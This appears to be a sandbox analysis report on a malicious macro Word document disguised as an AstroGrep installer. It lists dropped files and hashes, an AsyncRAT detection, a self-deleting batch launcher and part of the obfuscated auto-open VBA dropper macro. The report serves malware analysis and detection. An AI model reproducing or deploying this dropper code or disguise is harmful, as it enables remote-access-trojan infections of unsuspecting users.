SSDEEP:	768:quCFNTAolrhWU5TeLmo2qrJW6K8e2gaM9PIItc5pIX0byDBm1ERjvmFq+YBDZsx:quCFNTA2G2d6K5aM6Itc5pIEbyAqRzyX
MD5:	432F0E0AAB658DE046D8B41D2CEF8253
SHA1:	7BA5B175FFB4BB976C54177F9C40A7339A088654
SHA-256:	17D1C0045155AD9C523C07E0F37AA16CD036915F38B73090D8D8BA930DB149FB
SHA-512:	BAC97805D8FCBA49B7BDE5067911B293622C610A65F2A2FC527A6C890BE8E79C6CA9C9676786B1EAAC19ECBDB16562EFEE2D7C985707FC04E57E4E3033C75B0B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#..^................................. ........@.. ....................... ............@.................................T...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........Y..Xv.............................................................V..;...$0.xC.=VD..b......9A../.\.....(.....~............~............~............~............~............~............~............~.....~............~............~............(>......2~.....o?....s..........()...:(...(...:....(+...:....('...:....((...9.....(v...V(....s.... ...o....n~....9....~....o..........~~....(....9....(0...9....(@...Vr.%.p~....(o....#....s...

C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE Download File
Process:	C:\ProgramData\Memsys\ms.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	950654
Entropy (8bit):	7.974042856320811
Encrypted:	false
SSDEEP:	24576:2MhCG3sDOdqnRrLVvjD9puJ7li2OLUC0Dc/rP0flxwg:AG3sJpRvjhU7I2OLZD/LUr7
MD5:	A708211241313FEAF9621E571631534D
SHA1:	9F398E0CC5B2B5162D5F27A6653709F836D02998
SHA-256:	5C4FAEBE335FEE04B25B10AA2A0E580571388BDE2CC09E133C72D9D01BC09423
SHA-512:	8E2FA5F33E16879D8F5ACB4AB783AA4B4B37266CD1346ABEF5D54F2DFEB2177AF872575780E2E7CD02E462349B1C35642C0F7BA3F860034775A064E9A07B08AF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.v.F......F..v...F...@...F.Rich..F.........................PE..L....z.W.................`...\|.......1.......p....@.......................................@.................................4u..........pP...........................................................................p...............................text...._.......`.................. ..`.rdata..R....p.......d..............@..@.data....T...........x..............@....ndata...................................rsrc...pP.......R...~..............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\msoB754.tmp Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	GIF image data, version 89a, 15 x 15
Category:	dropped
Size (bytes):	663
Entropy (8bit):	5.949125862393289
Encrypted:	false
SSDEEP:	12:PlrojAxh4bxdtT/CS3wkxWHMGBJg8E8gKVYQezuYEecp:trPsTTaWKbBCgVqSF
MD5:	ED3C1C40B68BA4F40DB15529D5443DEC
SHA1:	831AF99BB64A04617E0A42EA898756F9E0E0BCCA
SHA-256:	039FE79B74E6D3D561E32D4AF570E6CA70DB6BB3718395BE2BF278B9E601279A
SHA-512:	C7B765B9AFBB9810B6674DBC5C5064ED96A2682E78D5DFFAB384D81EDBC77D01E0004F230D4207F2B7D89CEE9008D79D5FBADC5CB486DA4BC43293B7AA878041
Malicious:	false
Preview:	GIF89a....w..!..MSOFFICE9.0.....sRGB......!..MSOFFICE9.0.....msOPMSOFFICE9.0Dn&P3.!..MSOFFICE9.0.....cmPPJCmp0712.........!.......,....................'..;..b...RQ.xx..................,+................................yy..;..b.........................qp.bb..........uv.ZZ.LL.......xw.jj.NN.A@....zz.mm.^_.........yw........yx.xw.RR.,.++............................................................................................................................................................................................................8....>.......................4567...=..../0123.....<9:.()+,-.B.@...."#$%&'....... !............C.?....A;<...HT(..;

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\LangDLL.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.936685359308878
Encrypted:	false
SSDEEP:	48:im1qsjq8W2MPUptuMMFvx/om/ycNSCwVGfOY0vB6/JvR0Jvof5d2D:F1iBl91Z7/ycNSCwV8TLZR0gd2
MD5:	91D5E21907E4BAFF0145339311ABF9D9
SHA1:	F867D8529D4F3704CD4F475B46699B66CB6C2002
SHA-256:	ACDE373CC4916BE5DF3D239AB67F5980C333E979F34965EE733E7C6259586E9B
SHA-512:	339E35B89F2AC7D2FBE9DFD9A55279D20463F7C298332810C0EBAA5DE95E09657F4B2837904AE16A8743C4C7ABF7F3C7581099BC94312C178A21783288790401
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}.}.}.}.e.....z.)........\|....\|.Rich}.........PE..L....z.W...........!......................... ...............................`......................................p"..I...` ..P....@..`....................P....................................................... ..`............................text...h........................... ..`.rdata....... ......................@..@.data...l....0......................@....rsrc...`....@......................@..@.reloc..l....P......................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\StartMenu.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.616039420427882
Encrypted:	false
SSDEEP:	96:HgiqVPb3X8K8Kdr3gEq6nNdMk6Qiw290+q6LDtJ1tU3hhEl7y:HgiqVPgK8K9eIdE9B/tMhg7
MD5:	9CE20025DEF637F7BE257FA96D25ED05
SHA1:	CFEE47F72804FFACD06C2254A5F8DCF47373F9D4
SHA-256:	4B17C914DC40EBA477B653715F07CE9ED9B2EF4A1264A1DAFD624EB289474243
SHA-512:	AFCE99F1BD803E1B744E33302BA2C85C1122487F2BDF006CA433FE93DB2778A6D68D239D927CE7149443F411A12A4FAC2195D6D01AEC4071C71B8F332C96BDFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(...(...(..<'...(.......(..8....(.......(..Rich.(..........................PE..L....z.W...........!........."............... ...............................p.......................................$..e.... ..x....P..(....................`..t.................................................... ...............................text............................... ..`.rdata..U.... ......................@..@.data........0......................@....rsrc...(....P......................@..@.reloc..8....`......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\System.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.770824470205811
Encrypted:	false
SSDEEP:	192:PPtkumJX7zB22kGwfy0mtVgkCPOs81un:E702k5qpds8Qn
MD5:	B8992E497D57001DDF100F9C397FCEF5
SHA1:	E26DDF101A2EC5027975D2909306457C6F61CFBD
SHA-256:	98BCD1DD88642F4DD36A300C76EBB1DDFBBBC5BFC7E3B6D7435DC6D6E030C13B
SHA-512:	8823B1904DCCFAF031068102CB1DEF7958A057F49FF369F0E061F1B4DB2090021AA620BB8442A2A6AC9355BB74EE54371DC2599C20DC723755A46EDE81533A3C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L....z.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\modern-wizard.bmp Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 4
Category:	dropped
Size (bytes):	52988
Entropy (8bit):	1.9568109962493656
Encrypted:	false
SSDEEP:	48:Qoi47a5G8SddzKFIcsOz3XMoi47a5G8SddzKFIcsOz3Xz:QonoGNd03IonoGNd03/
MD5:	E39731A71ED38499AC6B8E51E8E58E34
SHA1:	F2820C783906CD4F06040B6850856D426519CE15
SHA-256:	A94EF9A36E53192F26D5118F0232B6D7F70943B3CF5A7DF6340A139A226D207B
SHA-512:	F807ED5BE0297462777A82B79D1AAC35CB4FF5FA54DE4D446050A8BB08677488072685A982BFF5A900823C5727196C05EF29B3EEB6ABCD17171C0EF7C3765270
Malicious:	false
Preview:	BM~g......v...(.......:............g..................................................................................DDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@..DDD....DDDDDD........................................DDDDDDDDDD....DDDDDDDDD........DD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@DDDDDDDDDD@@@@@@D..DD....DDDDDDD......................................DDDDDDDDDD....DDDDDDDDDD......D..D@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@DDD..D.....DDDDDD......................................DDDDDDDDD.....DDDDDDDDD......DDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDDD@@@@@@DDDD.......DDDDDD.....................................DDDDDDDDDD....DDDDDDDDDD.....DDDDD..@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@DDDDDD.......DDDDDD....................................DDDDDDDDD....DDDDDDDDDD......DDDDDD..@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

C:\Users\user\AppData\Local\Temp\nsa2731.tmp\nsDialogs.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.066422293646434
Encrypted:	false
SSDEEP:	96:oU2qZ4zC5RH3cXX1LlYlRowycxM2DjDf3GEst+Nt+jvDYx4HpqndYHnxss:oU2q+CP3uKrpyREs06YxqodGn
MD5:	70D4C5F9ACC5DDF934B73FA311ADE7D8
SHA1:	6962E84782B0E1FE798CDCE1D7447211228CA85B
SHA-256:	02869B76936E3C3102BB36E34B41BC989770BF81DCA09F31C561BB6BE52285EE
SHA-512:	40189B463173CBBAD9C5101F37B4A37D970E9CD8E6F3D343CB8E54C54BDC7FDC3CFA8D7D7E7B7B0241C68768607C523BE2C2C21B7EFC727257731E1C5D1673FC
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L....z.W...........!......... ...............0.......................................................................6..k....0.......`.......................p.......................................................0...............................text...Q........................... ..`.rdata..{....0......................@..@.data........@......................@....rsrc........`....... ..............@..@.reloc..l....p......."..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3E29.tmp.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.06434100410945
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5oXp4EaKC50XVASmqRDXp4E2J5xAInTRI8TRAVZPy:hWKqTtT6PaZ50lbmq1P23fTddAVk
MD5:	71BD5BD91EBB91A939E0AB0D6560D28C
SHA1:	79CB69D678C58EF3122EC81443DB4D38AF084106
SHA-256:	227660DC691F3F47674D8F2DBCC48DF47B90F59D3E44092285999F170B9C1BFB
SHA-512:	F73C85CABA1A8719B35C3691833A8F2A609177461AB600323F87D1E8B234426F2FD32E2CC44876D642369AE5814A8F5C978EFE150D32A2EB434D911BBD2EA543
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\astro-grep.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmp3E29.tmp.bat" /f /q..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\astro-grep-setup.exe.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Wed Aug 26 14:08:12 2020, atime=Sun Jul 18 03:39:30 2021, length=1443117, window=hide
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	4.541182450687829
Encrypted:	false
SSDEEP:	48:8i/XT3Ikt31S733oQh2i/XT3Ikt31S733oQ/:8i/XLIkt8noQh2i/XLIkt8noQ/
MD5:	5AD95C6B24A9E0814C973A7DD0152BCB
SHA1:	2D64590D05D4F190A646F9FAF93029097ACE7FD9
SHA-256:	C5DACC366D0349956C96DBE0661C0ACA8403D721A62AECB7A77C51E2FC5A6655
SHA-512:	6A960C8EA7646BCF890511D851FCC47D3B4AC76EEC06DEF2B1F6C3D0F450410EC16FB78D006F554DDD74325BF2CB242AFC99D1EF14213D0CCD8DC0E5CBE895C0
Malicious:	false
Preview:	L..................F.... ...8N/..{..8N/..{...t..{..-............................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....z.2.-....R.$ .ASTRO-~1.DOC..^.......Q.y.Q.y...8.....................a.s.t.r.o.-.g.r.e.p.-.s.e.t.u.p...e.x.e...d.o.c.......................-...8...[............?J......C:\Users\..#...................\\715575\Users.user\Desktop\astro-grep-setup.exe.doc./.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.a.s.t.r.o.-.g.r.e.p.-.s.e.t.u.p...e.x.e...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......715575..........D_..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	98
Entropy (8bit):	4.352453630060136
Encrypted:	false
SSDEEP:	3:M1ZXOXPAkup2cWMXPAkup2mX1ZXOXPAkup2v:MGfAkefAknfAkd
MD5:	FD515263006BC00A3695B759289A747D
SHA1:	7CFDEC2A9BC2784996AC6D9DC6A0E0DEBD95E289
SHA-256:	E7834A7517ACADC1A45332C2B9BDF1024E0B4830370ED8B9CCB3AD77FA3B7F7A
SHA-512:	0ACDE3E772B32919F76188A0B8BDCF216DCC9B356D481E1DAE417C18DB4E361493B15FC0A4A9323020E508A71081C491DF5DC4EF76C25AB6089237688678DF26
Malicious:	false
Preview:	[doc]..astro-grep-setup.exe.LNK=0..astro-grep-setup.exe.LNK=0..[doc]..astro-grep-setup.exe.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4311600611816426
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:	390880DCFAA790037FA37F50A7080387
SHA1:	760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:	BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:	47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\AppData\Roaming\astro-grep.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\ASTRO-GREP.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48640
Entropy (8bit):	5.561770945961325
Encrypted:	false
SSDEEP:	768:quCFNTAolrhWU5TeLmo2qrJW6K8e2gaM9PIItc5pIX0byDBm1ERjvmFq+YBDZsx:quCFNTA2G2d6K5aM6Itc5pIEbyAqRzyX
MD5:	432F0E0AAB658DE046D8B41D2CEF8253
SHA1:	7BA5B175FFB4BB976C54177F9C40A7339A088654
SHA-256:	17D1C0045155AD9C523C07E0F37AA16CD036915F38B73090D8D8BA930DB149FB
SHA-512:	BAC97805D8FCBA49B7BDE5067911B293622C610A65F2A2FC527A6C890BE8E79C6CA9C9676786B1EAAC19ECBDB16562EFEE2D7C985707FC04E57E4E3033C75B0B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Roaming\astro-grep.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#..^................................. ........@.. ....................... ............@.................................T...W.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........Y..Xv.............................................................V..;...$0.xC.=VD..b......9A../.\.....(.....~............~............~............~............~............~............~............~.....~............~............~............(>......2~.....o?....s..........()...:(...(...:....(+...:....('...:....((...9.....(v...V(....s.... ...o....n~....9....~....o..........~~....(....9....(0...9....(@...Vr.%.p~....(o....#....s...

C:\Users\user\Desktop\~$tro-grep-setup.exe.doc Download File
Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4311600611816426
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVydH/5llORewrU9lln:vdsCkWtORWRjYl
MD5:	390880DCFAA790037FA37F50A7080387
SHA1:	760940B899B1DC961633242DB5FF170A0522B0A5
SHA-256:	BE4A99C0605649A08637AC499E8C871B5ECA2BAA03909E8ADBAA4C7A6A1D5391
SHA-512:	47E6AC186253342882E375AA38252D8473D1CA5F6682FABD5F459E1B088B935E326E1149080E0FE94AB176A101BA2CB9E8B700AB5AFAE26F865982A8DA295FD3
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

\Device\Null Download File
Process:	C:\Windows\SysWOW64\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General
File type:	Microsoft OOXML
Entropy (8bit):	7.994288640917192
TrID:	Word Microsoft Office Open XML Format document with Macro (52004/1) 86.67% ZIP compressed archive (8000/1) 13.33%
File name:	astro-grep-setup.exe.doc
File size:	1446736
MD5:	9c3d3679ea84ff9bf67bf8c7aa2afc48
SHA1:	0470d616e8918ef03098741bf7fb0b313bb8aaea
SHA256:	2f5639932c7a25cf51737748cdc495367a9203e0a963f930f0009935109da190
SHA512:	6896ad9abbbaa7760825d40086270f649a82a1291798173764e20deb7a5ef7a2f4070e247f27210f77341d70b6ed7215fa72a1711210610b428fcce39006af53
SSDEEP:	24576:gbi5q1lXj0di8tpgg/d3EVxW5Y62ddfMqKFIqlzFOQ1Yq8X2LcDLN:gbi5q1lXPupgU8Wy62dJVhqUYYq8X2s
File Content Preview:	PK..........!.................[Content_Types].xml.UKo.1..W.?.\|.b...B....#T"H\g...._.'i...'..B...^V............6.....Wr**.:../k.u.q.^T...`..Zl1......b.1W....+..A..W. ...s.....kZ.......N............n.......?..4...f..H..b.F.qYm\|+]...3........&...E.....b.\|g.g

File Icon


Icon Hash:	e4eea2aaa4b4b4a4

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "/opt/package/joesandbox/database/analysis/450275/sample/astro-grep-setup.exe.doc"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	False
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Streams with VBA

VBA File Name: NewMacros.bas, Stream Size: 29186

General
Stream Path:	VBA/NewMacros
VBA File Name:	NewMacros.bas
Stream Size:	29186
Data ASCII:	. . . . . . . . . . * . . . . . . ( . . . . . . . . + . . . V . . . . . . . . . . . . . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	01 16 01 00 06 f0 00 00 00 ec 2a 00 00 d4 00 00 00 28 02 00 00 ff ff ff ff e5 2b 00 00 f1 56 00 00 01 00 00 00 01 00 00 00 12 aa c2 6d 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 04 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code Keywords

Keyword
Const
Binary
ActiveDocument.Paragraphs
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
RemoveParagraph()
Byte,
Shits
sss(sString
vbLf,
Public
bOut(lOutSize)
ReDim
bIn()
vbUnicode)
String
Long,
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Shell(vbHH,
lOutSize
Explicit
Left$(sOut,
ChDir
AddSpace()
OOO.deletefolder
RemoveParagraph
vbNullString)
bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Select
String)
vbCr,
bOut(lOutSize
StrConv(bOut,
"==")
iPad)
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask
Option
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
bOut((((UBound(bIn)
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
pppppppppppppppppppppppppp
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask)
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
Replace(sString,
Wipedir(pppppppppppppppppppppppppp
bTrans(mnAjUYt
bTrans(mnAjUYt)
lLen)
vbDirectory))
Workbook_Open()
Len(sString)
((UBound(bIn)
AutoOpen()
bTrans(lTrip
mnAjUYt
StrConv(sString,
Integer,
((mnAjUYt
MkDir
LBound(bIn)
OOO.folderexists(pppppppppppppppppppppppppp)
lTrip
Integer
Len(sOut)
OBsGG
While
ChDrive
bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
Attribute
bTrans(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Close
sString
Shits(vbHH
VB_Name
UBound(bIn)
Function
Paragraph
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Boolean
vbFromUnicode)
bOut()
InStrRev(sString,
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
DoEvents
"NewMacros"
ElseIf
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
String(iPad,
lQuad
AddSpace
Private
bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FreeFile()
Wipedir
Else:

VBA Code

Attribute VB_Name = "NewMacros"
Option Explicit

Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask = 16515072
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask = 258048
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask = 4032
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask = 63

Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask = 16711680
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask = 65280
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask = 255

Private Const MNAJSAQQQQQQ18 = 262144
Private Const MNAJSAQQQQQQ12 = 4096
Private Const MNAJSAQQQQQQ6 = 64
Private Const MNAJSAQQQQQQ8 = 256
Private Const MNAJSAQQQQQQ16 = 65536

Public Function Encode64(sString As String) As String

    Dim bTrans(63) As Byte, OOOPOOOOPOOOO8(255) As Long, OOOPOOOOPOOOO16(255) As Long, bOut() As Byte, bIn() As Byte
    Dim BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB As Long, lTrip As Long, iPad As Integer, lLen As Long, mnAjUYt As Long, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA As Long, lOutSize As Long

    For mnAjUYt = 0 To 63
        Select Case mnAjUYt
            Case 0 To 25
                bTrans(mnAjUYt) = 65 + mnAjUYt
            Case 26 To 51
                bTrans(mnAjUYt) = 71 + mnAjUYt
            Case 52 To 61
                bTrans(mnAjUYt) = mnAjUYt - 4
            Case 62
                bTrans(mnAjUYt) = 43
            Case 63
                bTrans(mnAjUYt) = 47
        End Select
    Next mnAjUYt

    For mnAjUYt = 0 To 255
        OOOPOOOOPOOOO8(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ8
        OOOPOOOOPOOOO16(mnAjUYt) = mnAjUYt * MNAJSAQQQQQQ16
    Next mnAjUYt

    iPad = Len(sString) Mod 3
    If iPad Then
        iPad = 3 - iPad
        sString = sString & String(iPad, Chr(0))
    End If

    bIn = StrConv(sString, vbFromUnicode)
    lLen = ((UBound(bIn) + 1) \ 3) * 4
    mnAjUYt = lLen \ 72
    lOutSize = ((mnAjUYt * 2) + lLen) - 1
    ReDim bOut(lOutSize)

    lLen = 0

    For BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB = LBound(bIn) To UBound(bIn) Step 3
        lTrip = OOOPOOOOPOOOO16(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB)) + OOOPOOOOPOOOO8(bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 1)) + bIn(BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB + 2)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) = bTrans(mnAjUYt \ MNAJSAQQQQQQ18)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 1) = bTrans(mnAjUYt \ MNAJSAQQQQQQ12)
        mnAjUYt = lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 2) = bTrans(mnAjUYt \ MNAJSAQQQQQQ6)
        bOut(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 3) = bTrans(lTrip And HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask)
        If lLen = 68 Then
